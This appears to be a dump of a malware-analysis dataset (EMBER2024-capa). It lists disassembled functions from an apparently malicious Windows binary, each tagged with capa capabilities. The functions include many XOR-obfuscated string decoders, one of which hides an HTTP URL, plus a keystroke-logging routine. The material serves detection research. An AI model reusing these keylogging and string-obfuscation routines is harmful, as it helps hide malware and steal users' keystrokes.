joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40680f
Capabilities:
Encode data using xor

Disassembly:
push 0x6c
mov eax, 0x4729b8
call fcn.00455d47
test byte [0x4a44a0], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp + 0xc]
mov esi, ecx
mov dword [ebp - 0x78], eax
jne 0x406849
or dword [0x4a44a0], 1
mov word [0x49f9ec], 0xc9a1
mov byte [0x49f9ee], 0x84
xor ebx, ebx
xor eax, eax
mov cl, byte [eax + 0x49f9ec]
xor cl, 0x84
mov byte [eax + 0x4a00e4], cl
inc eax
cmp eax, 3
jb 0x40684d
mov ecx, 0x4a00e4
mov eax, ecx
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x406879
sub eax, edi
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00403a82
push dword [ebp - 0x78]
mov dword [ebp - 4], ebx
push dword [ebp - 0x68]
lea eax, [ebp - 0x64]
push eax
lea ebx, [ebp - 0x2c]
call fcn.0040bc43
add esp, 0xc
push 0
push 1
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.00403b18
cmp dword [ebp - 0x50], 0x10
mov eax, dword [ebp - 0x64]
jae 0x4068bf
lea eax, [ebp - 0x64]
push eax
push esi
call fcn.0042e130
pop ecx
pop ecx
test eax, eax
je 0x40690d
cmp eax, 3
jne 0x4068fa
call fcn.00406a13
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x74]
call fcn.0044c67b
mov dword [ebp - 0x74], vtable.std::runtime_error.0
push 0x4915dc
lea eax, [ebp - 0x74]
push eax
call fcn.004554bb
cmp eax, 4
jne 0x406906
call fcn.00406ac6
jmp 0x4068d6
call fcn.00406b79
jmp 0x4068d6
push 1
push 0
xor ebx, ebx
xor edx, edx
mov eax, esi
call fcn.0042f44f
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4069c7
call fcn.00406bfd
push eax
push 0xffffffffffffffff
xor eax, eax
mov ecx, esi
call fcn.0042db6a
and dword [ebp - 0x38], ebx
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], bl
call fcn.00403af7
mov byte [ebp - 4], 3
cmp edi, 2
jne 0x40697f
call fcn.00406c44
push eax
lea eax, [ebp - 0x2c]
push eax
lea edi, [ebp - 0x48]
call fcn.0040bca7
pop ecx
pop ecx
mov byte [ebp - 4], 4
lea esi, [ebp - 0x74]
call fcn.00404e30
jmp 0x4068ec
cmp edi, 4
jne 0x40699e
call fcn.00406ca3
push eax
lea eax, [ebp - 0x2c]
push eax
lea edi, [ebp - 0x48]
call fcn.0040bca7
pop ecx
pop ecx
mov byte [ebp - 4], 5
jmp 0x406972
cmp edi, 6
jne 0x4069bd
call fcn.00406d08
push eax
lea eax, [ebp - 0x2c]
push eax
lea edi, [ebp - 0x48]
call fcn.0040bca7
pop ecx
pop ecx
mov byte [ebp - 4], 6
jmp 0x406972
call fcn.00406d8c
jmp 0x4068d6
or ebx, 0xffffffff
mov edx, ebx
mov eax, esi
mov edi, ebx
call fcn.0042ea90
test eax, eax
je 0x4069e6
xor edi, edi
mov edx, ebx
mov eax, esi
call fcn.0042eb8c
mov edi, eax
mov eax, dword [esi + 0x10]
mov edx, dword [esi + 8]
sub edx, dword [eax]
mov ecx, ebx
sub edx, 8
sar edx, 3
sub ecx, edx
mov eax, esi
call fcn.0042e92b
push 0
push 1
lea ecx, [ebp - 0x64]
call fcn.00403b18
mov eax, edi
call fcn.00455dca
ret
Function at 0x406a13
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a449c], 1
jne 0x406aa9
or dword [0x4a449c], 1
mov dword [0x49f9f0], 0xe8ede5c2
mov dword [0x49f9f4], 0xf0a4e0e1
mov dword [0x49f9f8], 0xf2e1a4eb
mov dword [0x49f9fc], 0xe5f1e8e5
mov dword [0x49fa00], 0xe6a4e1f0
mov dword [0x49fa04], 0xf7f0ebeb
mov dword [0x49fa08], 0xf4e5f6f0
mov dword [0x49fa0c], 0xe5f6e2a4
mov dword [0x49fa10], 0xeae1e9e3
mov dword [0x49fa14], 0xf7a4a8f0
mov dword [0x49fa18], 0xe5f0eafd
mov dword [0x49fa1c], 0xf6e1a4fc
mov dword [0x49fa20], 0x84f6ebf6
xor eax, eax
mov cl, byte [eax + 0x49f9f0]
xor cl, 0x84
mov byte [eax + 0x4a00e8], cl
inc eax
cmp eax, 0x34
jb 0x406aab
mov eax, 0x4a00e8
ret

Function at 0x406ac6
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4498], 1
jne 0x406b5c
or dword [0x4a4498], 1
mov dword [0x49fa24], 0xe8ede5c2
mov dword [0x49fa28], 0xf0a4e0e1
mov dword [0x49fa2c], 0xf2e1a4eb
mov dword [0x49fa30], 0xe5f1e8e5
mov dword [0x49fa34], 0xe6a4e1f0
mov dword [0x49fa38], 0xf7f0ebeb
mov dword [0x49fa3c], 0xf4e5f6f0
mov dword [0x49fa40], 0xe5f6e2a4
mov dword [0x49fa44], 0xeae1e9e3
mov dword [0x49fa48], 0xe9a4a8f0
mov dword [0x49fa4c], 0xf6ebe9e1
mov dword [0x49fa50], 0xf6e1a4fd
mov dword [0x49fa54], 0x84f6ebf6
xor eax, eax
mov cl, byte [eax + 0x49fa24]
xor cl, 0x84
mov byte [eax + 0x4a011c], cl
inc eax
cmp eax, 0x34
jb 0x406b5e
mov eax, 0x4a011c
ret

Function at 0x406b79
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4494], 1
jne 0x406be0
or dword [0x4a4494], 1
mov dword [0x49fa58], 0xeaefead1
mov dword [0x49fa5c], 0xa4eaf3eb
mov dword [0x49fa60], 0xebf6f6e1
mov dword [0x49fa64], 0xeaeda4f6
mov dword [0x49fa68], 0xe5f1e8a4
mov dword [0x49fa6c], 0xebe8dbc8
mov dword [0x49fa70], 0xf0f7e0e5
mov dword [0x49fa74], 0xe3eaedf6
mov byte [0x49fa78], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fa58]
xor cl, 0x84
mov byte [eax + 0x4a0150], cl
inc eax
cmp eax, 0x21
jb 0x406be2
mov eax, 0x4a0150
ret

Function at 0x406bfd
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4490], 1
jne 0x406c27
or dword [0x4a4490], 1
mov dword [0x49fa7c], 0xeaebeab8
mov word [0x49fa80], 0xbae1
mov byte [0x49fa82], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fa7c]
xor cl, 0x84
mov byte [eax + 0x4a0174], cl
inc eax
cmp eax, 7
jb 0x406c29
mov eax, 0x4a0174
ret

Function at 0x406c44
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a448c], 1
jne 0x406c86
or dword [0x4a448c], 1
mov dword [0x49fa84], 0xa4e5f1c8
mov dword [0x49fa88], 0xf0eaf1f6
mov dword [0x49fa8c], 0xa4e1e9ed
mov dword [0x49fa90], 0xebf6f6e1
mov dword [0x49fa94], 0x84a4bef6
xor eax, eax
mov cl, byte [eax + 0x49fa84]
xor cl, 0x84
mov byte [eax + 0x4a017c], cl
inc eax
cmp eax, 0x14
jb 0x406c88
mov eax, 0x4a017c
ret
Function at 0x406ca3
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4488], 1
jne 0x406ceb
or dword [0x4a4488], 1
mov dword [0x49fa98], 0xa4e5f1c8
mov dword [0x49fa9c], 0xebe9e1e9
mov dword [0x49faa0], 0xe1a4fdf6
mov dword [0x49faa4], 0xf6ebf6f6
mov word [0x49faa8], 0xa4be
mov byte [0x49faaa], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fa98]
xor cl, 0x84
mov byte [eax + 0x4a0190], cl
inc eax
cmp eax, 0x13
jb 0x406ced
mov eax, 0x4a0190
ret

Function at 0x406d08
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4484], 1
jne 0x406d6f
or dword [0x4a4484], 1
mov dword [0x49faac], 0xa4e5f1c8
mov dword [0x49fab0], 0xebf6f6e1
mov dword [0x49fab4], 0xeaeda4f6
mov dword [0x49fab8], 0xe1e0edf7
mov dword [0x49fabc], 0xf6f6e1a4
mov dword [0x49fac0], 0xeca4f6eb
mov dword [0x49fac4], 0xe8e0eae5
mov dword [0x49fac8], 0xa4bef6e1
mov byte [0x49facc], 0x84
xor eax, eax
mov cl, byte [eax + 0x49faac]
xor cl, 0x84
mov byte [eax + 0x4a01a4], cl
inc eax
cmp eax, 0x21
jb 0x406d71
mov eax, 0x4a01a4
ret

Function at 0x406d8c
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4480], 1
jne 0x406de8
or dword [0x4a4480], 1
mov dword [0x49fad0], 0xeaefead1
mov dword [0x49fad4], 0xa4eaf3eb
mov dword [0x49fad8], 0xebf6f6e1
mov dword [0x49fadc], 0xeaeda4f6
mov dword [0x49fae0], 0xe5f1e8a4
mov dword [0x49fae4], 0xe5e7f4db
mov word [0x49fae8], 0xe8e8
mov byte [0x49faea], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fad0]
xor cl, 0x84
mov byte [eax + 0x4a01c8], cl
inc eax
cmp eax, 0x1b
jb 0x406dea
mov eax, 0x4a01c8
ret

Function at 0x40786e
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a447c], 1
jne 0x4078b7
or dword [0x4a447c], 1
mov dword [0x49faec], 0xe1f7e5c6
mov dword [0x49faf0], 0xe0a4b0b2
mov dword [0x49faf4], 0xe0ebe7e1
mov dword [0x49faf8], 0xe5e2a4e1
mov dword [0x49fafc], 0xe0e1e8ed
mov byte [0x49fb00], 0x84
xor eax, eax
mov cl, byte [eax + 0x49faec]
xor cl, 0x84
mov byte [eax + 0x4a01e4], cl
inc eax
cmp eax, 0x15
jb 0x4078b9
mov eax, 0x4a01e4
ret

Function at 0x4078d4
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4478], 1
jne 0x40791d
or dword [0x4a4478], 1
mov dword [0x49fb04], 0xe1f7e5c6
mov dword [0x49fb08], 0xe0a4b0b2
mov dword [0x49fb0c], 0xe0ebe7e1
mov dword [0x49fb10], 0xe5e2a4e1
mov dword [0x49fb14], 0xe0e1e8ed
mov byte [0x49fb18], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fb04]
xor cl, 0x84
mov byte [eax + 0x4a01fc], cl
inc eax
cmp eax, 0x15
jb 0x40791f
mov eax, 0x4a01fc
ret

Function at 0x40793a
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4470], 1
jne 0x4079b5
or dword [0x4a4470], 1
mov dword [0x49fb24], 0xf4f0f0ec
mov dword [0x49fb28], 0xe5ababbe
mov dword [0x49fb2c], 0xfde8e5ea
mov dword [0x49fb30], 0xf7e7edf0
mov dword [0x49fb34], 0xf0e1e3aa
mov dword [0x49fb38], 0xeaf3ebe0
mov dword [0x49fb3c], 0xf0f7e1f0
mov dword [0x49fb40], 0xe9ebe7aa
mov dword [0x49fb44], 0xabb6f2ab
mov dword [0x49fb48], 0xabe3ebe8
mov byte [0x49fb4c], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fb24]
xor cl, 0x84
mov byte [eax + 0x4a021c], cl
inc eax
cmp eax, 0x29
jb 0x4079b7
mov eax, 0x4a021c
ret
Function at 0x4079d2
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a445c], 1
jne 0x407a5a
or dword [0x4a445c], 1
mov dword [0x49fb6c], 0xf0eaebc7
mov dword [0x49fb70], 0xa9f0eae1
mov dword [0x49fb74], 0xe1f4fdd0
mov dword [0x49fb78], 0xf4e5a4be
mov dword [0x49fb7c], 0xe7ede8f4
mov dword [0x49fb80], 0xebedf0e5
mov dword [0x49fb84], 0xa9fcabea
mov dword [0x49fb88], 0xa9f3f3f3
mov dword [0x49fb8c], 0xe9f6ebe2
mov dword [0x49fb90], 0xe8f6f1a9
mov dword [0x49fb94], 0xebe7eae1
mov dword [0x49fb98], 0x84e0e1e0
xor eax, eax
mov cl, byte [eax + 0x49fb6c]
xor cl, 0x84
mov byte [eax + 0x4a0264], cl
inc eax
cmp eax, 0x30
jb 0x407a5c
mov eax, 0x4a0264
ret

Function at 0x407a77
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4458], 1
jne 0x407aa2
or dword [0x4a4458], 1
mov dword [0x49fb9c], 0xd0d7cbd4
mov dword [0x49fba0], 0xa4ebf0a4
mov byte [0x49fba4], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fb9c]
xor cl, 0x84
mov byte [eax + 0x4a0294], cl
inc eax
cmp eax, 9
jb 0x407aa4
mov eax, 0x4a0294
ret

Function at 0x407abf
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4454], 1
jne 0x407b08
or dword [0x4a4454], 1
mov dword [0x49fba8], 0xede5e2a4
mov dword [0x49fbac], 0xa4e0e1e8
mov dword [0x49fbb0], 0xecf0edf3
mov dword [0x49fbb4], 0xe5f0f7a4
mov dword [0x49fbb8], 0xa4f7f1f0
mov byte [0x49fbbc], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fba8]
xor cl, 0x84
mov byte [eax + 0x4a02a0], cl
inc eax
cmp eax, 0x15
jb 0x407b0a
mov eax, 0x4a02a0
ret
Function at 0x407b3f
Capabilities:
Encode data using xor

Disassembly:
push 0xb4
mov eax, 0x470198
call fcn.00455d47
mov eax, dword [ebp + 8]
mov ebx, ecx
xor edi, edi
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa0], edi
cmp ebx, edi
je 0x407d13
cmp dword [ebp + 0xc], edi
je 0x407d13
push eax
lea esi, [ebp - 0x64]
call fcn.00409092
push eax
push 0x481a00
lea eax, [ebp - 0x9c]
mov dword [ebp - 4], edi
call fcn.0040427b
push 0x4819fc
push eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.004042b8
add esp, 0x10
push 1
lea esi, [ebp - 0x9c]
call fcn.00403c49
push 1
lea esi, [ebp - 0x64]
mov byte [ebp - 4], 4
call fcn.00403c49
and dword [ebp - 0xa0], edi
cmp dword [ebp + 0xc], edi
jg 0x407c58
test byte [0x4a444c], 1
jne 0x407c04
or dword [0x4a444c], 1
mov dword [0x49fbcc], 0xa4f0ebca
mov dword [0x49fbd0], 0xeaf1ebe2
mov word [0x49fbd4], 0x84e0
xor eax, eax
mov cl, byte [eax + 0x49fbcc]
xor cl, 0x84
mov byte [eax + 0x4a02c4], cl
inc eax
cmp eax, 0xa
jb 0x407c06
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xa8], 0x4a02c4
call fcn.0044c67b
mov dword [ebp - 0xc0], vtable.std::runtime_error.0
push 0x4915dc
lea eax, [ebp - 0xc0]
push eax
call fcn.004554bb
mov ebx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa0]
push dword [ebx + eax*4]
lea esi, [ebp - 0x48]
call fcn.00409092
mov byte [ebp - 4], 5
push dword [ebp - 0x1c]
mov eax, esi
push 0
push eax
lea esi, [ebp - 0x80]
call fcn.004090b4
mov ecx, eax
mov byte [ebp - 4], 6
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x407c8f
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
push eax
mov eax, dword [ecx + 0x10]
call fcn.0040ccee
mov ebx, eax
neg ebx
sbb bl, bl
push 1
xor edi, edi
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 5
call fcn.00403c49
inc bl
jne 0x407cdd
push 1
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.00403c49
inc dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp + 0xc]
jl 0x407c52
jmp 0x407bd7
mov esi, dword [ebp - 0xa4]
push 0xffffffffffffffff
push dword [ebp - 0x1c]
lea eax, [ebp - 0x48]
push eax
call fcn.004090b4
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.00403c49
push 1
lea esi, [ebp - 0x2c]
call fcn.00403c49
mov eax, dword [ebp - 0xa4]
call fcn.00455dca
ret
call fcn.00407d4a
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0xb4]
call fcn.0044c67b
mov dword [ebp - 0xb4], vtable.std::runtime_error.0
push 0x4915dc
lea eax, [ebp - 0xb4]
jmp 0x407c4c

Function at 0x407d4a
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4450], 1
jne 0x407d77
or dword [0x4a4450], 1
mov dword [0x49fbc0], 0xa4f0ebca
mov dword [0x49fbc4], 0xeaf1ebe2
mov word [0x49fbc8], 0x84e0
xor eax, eax
mov cl, byte [eax + 0x49fbc0]
xor cl, 0x84
mov byte [eax + 0x4a02b8], cl
inc eax
cmp eax, 0xa
jb 0x407d79
mov eax, 0x4a02b8
ret
Function at 0x40860f
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4448], 1
mov ecx, 0x9f84
jne 0x408699
or dword [0x4a4448], 1
lea eax, [ecx + 0x63]
mov word [0x49fbd8], ax
add eax, 0xf
mov edx, eax
mov word [0x49fbda], dx
lea edx, [ecx + 0x61]
mov word [0x49fbdc], dx
add edx, 0x12
mov word [0x49fbde], dx
lea edx, [ecx + 0x68]
mov word [0x49fbe0], dx
add edx, 0xffffffef
mov word [0x49fbe2], dx
mov edx, eax
mov word [0x49fbe4], dx
lea edx, [ecx + 0x5d]
lea eax, [ecx + 0x6c]
mov word [0x49fbe6], dx
mov word [0x49fbee], ax
add edx, 0x13
mov eax, ecx
mov word [0x49fbe8], dx
mov dword [0x49fbea], 0x9ff69feb
mov word [0x49fbf0], ax
xor eax, eax
mov edx, ecx
xor dx, word [eax + 0x49fbd8]
add eax, 2
mov word [eax + 0x4a02ce], dx
cmp eax, 0x1a
jb 0x40869b
mov eax, 0x4a02d0
ret

Function at 0x4086b9
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4444], 1
jne 0x4086e4
or dword [0x4a4444], 1
mov dword [0x49fbf4], 0xeaf6e1ef
mov dword [0x49fbf8], 0xb6b7e8e1
mov byte [0x49fbfc], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fbf4]
xor cl, 0x84
mov byte [eax + 0x4a02ec], cl
inc eax
cmp eax, 9
jb 0x4086e6
mov eax, 0x4a02ec
ret

Function at 0x408701
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4440], 1
jne 0x40876a
or dword [0x4a4440], 1
mov dword [0x49fc00], 0xd4f0e1d7
mov dword [0x49fc04], 0xe1e7ebf6
mov dword [0x49fc08], 0xf7d1f7f7
mov dword [0x49fc0c], 0xebc9f6e1
mov dword [0x49fc10], 0xfcc1e1e0
mov dword [0x49fc14], 0xf0f4e1e7
mov dword [0x49fc18], 0xd4eaebed
mov dword [0x49fc1c], 0xe7ede8eb
mov word [0x49fc20], 0x84fd
xor eax, eax
mov cl, byte [eax + 0x49fc00]
xor cl, 0x84
mov byte [eax + 0x4a02f8], cl
inc eax
cmp eax, 0x22
jb 0x40876c
mov eax, 0x4a02f8
ret

Function at 0x408787
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a443c], 1
jne 0x4087f0
or dword [0x4a443c], 1
mov dword [0x49fc24], 0xd4f0e1c3
mov dword [0x49fc28], 0xe1e7ebf6
mov dword [0x49fc2c], 0xf7d1f7f7
mov dword [0x49fc30], 0xebc9f6e1
mov dword [0x49fc34], 0xfcc1e1e0
mov dword [0x49fc38], 0xf0f4e1e7
mov dword [0x49fc3c], 0xd4eaebed
mov dword [0x49fc40], 0xe7ede8eb
mov word [0x49fc44], 0x84fd
xor eax, eax
mov cl, byte [eax + 0x49fc24]
xor cl, 0x84
mov byte [eax + 0x4a031c], cl
inc eax
cmp eax, 0x22
jb 0x4087f2
mov eax, 0x4a031c
ret

Function at 0x40880d
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4438], 1
jne 0x408863
or dword [0x4a4438], 1
mov dword [0x49fc48], 0xa4e1e8cb
mov dword [0x49fc4c], 0xf0edeaed
mov dword [0x49fc50], 0xede8e5ed
mov dword [0x49fc54], 0xedf0e5fe
mov dword [0x49fc58], 0xe2a4eaeb
mov dword [0x49fc5c], 0xe1e8ede5
mov dword [0x49fc60], 0x84a4bee0
xor eax, eax
mov cl, byte [eax + 0x49fc48]
xor cl, 0x84
mov byte [eax + 0x4a0340], cl
inc eax
cmp eax, 0x1c
jb 0x408865
mov eax, 0x4a0340
ret
Function at 0x408880
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4434], 1
jne 0x4088f1
or dword [0x4a4434], 1
mov dword [0x49fc64], 0xe8ede5c2
mov dword [0x49fc68], 0xf0a4e0e1
mov dword [0x49fc6c], 0xece7a4eb
mov dword [0x49fc70], 0xe1e3eae5
mov dword [0x49fc74], 0xf6ebf3a4
mov dword [0x49fc78], 0xe3eaedef
mov dword [0x49fc7c], 0xf6ede0a4
mov dword [0x49fc80], 0xebf0e7e1
mov dword [0x49fc84], 0xa4befdf6
mov byte [0x49fc88], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fc64]
xor cl, 0x84
mov byte [eax + 0x4a035c], cl
inc eax
cmp eax, 0x25
jb 0x4088f3
mov eax, 0x4a035c
ret

Function at 0x40890e
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a442c], 1
jne 0x40897e
or dword [0x4a442c], 1
mov dword [0x49fc94], 0xe8ede5c2
mov dword [0x49fc98], 0xf0a4e0e1
mov dword [0x49fc9c], 0xeaeda4eb
mov dword [0x49fca0], 0xe5edf0ed
mov dword [0x49fca4], 0xe1feede8
mov dword [0x49fca8], 0xf2eae1a4
mov dword [0x49fcac], 0xeaebf6ed
mov dword [0x49fcb0], 0xf0eae1e9
mov word [0x49fcb4], 0xa4be
mov byte [0x49fcb6], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fc94]
xor cl, 0x84
mov byte [eax + 0x4a038c], cl
inc eax
cmp eax, 0x23
jb 0x408980
mov eax, 0x4a038c
ret

Function at 0x40899b
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4424], 1
jne 0x4089e6
or dword [0x4a4424], 1
mov dword [0x49fcc0], 0xe5ecead1
mov dword [0x49fcc4], 0xe1e8e0ea
mov dword [0x49fcc8], 0xfce1a4e0
mov dword [0x49fccc], 0xf0f4e1e7
mov dword [0x49fcd0], 0xbeeaebed
mov word [0x49fcd4], 0x84a4
xor eax, eax
mov cl, byte [eax + 0x49fcc0]
xor cl, 0x84
mov byte [eax + 0x4a03b8], cl
inc eax
cmp eax, 0x16
jb 0x4089e8
mov eax, 0x4a03b8
ret

Function at 0x408a03
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4420], 1
jne 0x408a56
or dword [0x4a4420], 1
mov dword [0x49fcd8], 0xe5ecead1
mov dword [0x49fcdc], 0xe1e8e0ea
mov dword [0x49fce0], 0xfce1a4e0
mov dword [0x49fce4], 0xf0f4e1e7
mov dword [0x49fce8], 0xbeeaebed
mov dword [0x49fcec], 0x8ef7a1a4
mov byte [0x49fcf0], 0x84
xor eax, eax
mov cl, byte [eax + 0x49fcd8]
xor cl, 0x84
mov byte [eax + 0x4a03d0], cl
inc eax
cmp eax, 0x19
jb 0x408a58
mov eax, 0x4a03d0
ret

Function at 0x408a73
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a441c], 1
jne 0x408aab
or dword [0x4a441c], 1
mov dword [0x49fcf4], 0xe6f1f0d7
mov dword [0x49fcf8], 0xedfce1a4
mov dword [0x49fcfc], 0xa1aca4f0
mov dword [0x49fd00], 0x848eade0
xor eax, eax
mov cl, byte [eax + 0x49fcf4]
xor cl, 0x84
mov byte [eax + 0x4a03ec], cl
inc eax
cmp eax, 0x10
jb 0x408aad
mov eax, 0x4a03ec
ret
Function at 0x40a54b
Capabilities:
Write file on windows

Disassembly:
push 0x24
mov eax, 0x47286c
call fcn.00455d47
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x40a62c
cmp byte [edi + 0x49], bl
je 0x40a62c
mov eax, dword [edi]
push 0xffffffffffffffff
mov ecx, edi
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x40a580
xor al, al
jmp 0x40a62e
lea esi, [ebp - 0x2c]
call fcn.00409fd0
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40a5ce
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
mov ebx, dword [ebp - 0x1c]
add eax, ebx
push eax
push edx
lea eax, [edi + 0x4c]
push eax
call dword [esi + 0x18]
sub eax, 0
je 0x40a5d3
dec eax
je 0x40a5d7
dec eax
dec eax
je 0x40a628
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00403b18
mov al, bl
jmp 0x40a62e
mov edx, dword [ebp - 0x2c]
jmp 0x40a599
mov byte [edi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40a5e3
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, eax
je 0x40a609
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40a5f6
lea eax, [ebp - 0x2c]
push dword [edi + 0x54]
push esi
push 1
push eax
call fcn.0044e44e
add esp, 0x10
cmp esi, eax
jne 0x40a5bc
cmp byte [edi + 0x49], 0
je 0x40a628
test esi, esi
jne 0x40a58b
push esi
push 8
pop ebx
lea esi, [ebp - 0x2c]
call fcn.0040a0a9
jmp 0x40a58b
mov bl, 1
jmp 0x40a5be
mov al, 1
call fcn.00455dca
ret
Function at 0x40e95e
Capabilities:
Log keystrokes via polling

Disassembly:
push 0x38
mov eax, 0x46eda9
call fcn.00455cde
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp + 8], ebx
mov dword [ebp - 4], ebx
cmp dword [eax + 0x6c], ebx
je 0x40e992
mov eax, dword [eax + 0x6c]
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x40e992
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push 0x477b20
push eax
call dword [ecx]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x40ea24
cmp eax, 0xffffffff
je 0x40ea53
cmp dword [ebp + 8], ebx
je 0x40ea10
mov eax, dword [ebp - 0x24]
add eax, 0xffffff00
cmp eax, 9
ja 0x40ea10
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
mov edx, dword [ebp - 0x20]
mov ecx, 0xffff8000
test cx, ax
setne al
cmp al, bl
je 0x40e9e1
cmp edx, 0x4e
je 0x40ea24
cmp edx, 0x4f
je 0x40ea24
cmp edx, 0x46
je 0x40ea24
cmp edx, 0x74
je 0x40ea24
xor eax, eax
push 7
pop ecx
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], edx
cmp eax, ebx
je 0x40ea69
mov ecx, dword [eax]
lea edx, [ebp - 0x44]
push edx
push eax
call dword [ecx + 0x14]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
call esi
cmp eax, ebx
jne 0x40e99d
mov edi, dword [ebp - 0x20]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x40ea49
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, edi
call fcn.00455db6
ret 4
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x40ea64
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or eax, 0xffffffff
jmp 0x40ea4b
push 0x80004003
call fcn.0046a5c0
int3

Function at 0x40ebfe
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4418], 1
jne 0x40ec71
or dword [0x4a4418], 1
mov dword [0x4a040c], 0xe9f0eac6
mov dword [0x4a0410], 0xeaeba5e1
mov dword [0x4a0414], 0xe0e2a5f1
mov dword [0x4a0418], 0xece1a5f1
mov dword [0x4a041c], 0xe1ecf5f6
mov dword [0x4a0420], 0xa5e3eaa5
mov dword [0x4a0424], 0xedf1e0e8
mov dword [0x4a0428], 0xa2a5e1ea
mov dword [0x4a042c], 0xe9e9e4e6
mov word [0x4a0430], 0x85a2
xor eax, eax
mov cl, byte [eax + 0x4a040c]
xor cl, 0x85
mov byte [eax + 0x4a050c], cl
inc eax
cmp eax, 0x26
jb 0x40ec73
mov eax, 0x4a050c
ret

Function at 0x40ec8e
Capabilities:
Encode data using xor

Disassembly:
test byte [0x4a4414], 1
jne 0x40ecf4
or dword [0x4a4414], 1
mov dword [0x4a0434], 0xe9ece4c3
mov dword [0x4a0438], 0xf1a5e1e0
mov dword [0x4a043c], 0xebeca5ea
mov dword [0x4a0440], 0xe0eeeaf3
mov dword [0x4a0444], 0xf1e0e8a5
mov dword [0x4a0448], 0xa5e1eaed
mov dword [0x4a044c], 0xe9e4e6a2
mov word [0x4a0450], 0xa2e9
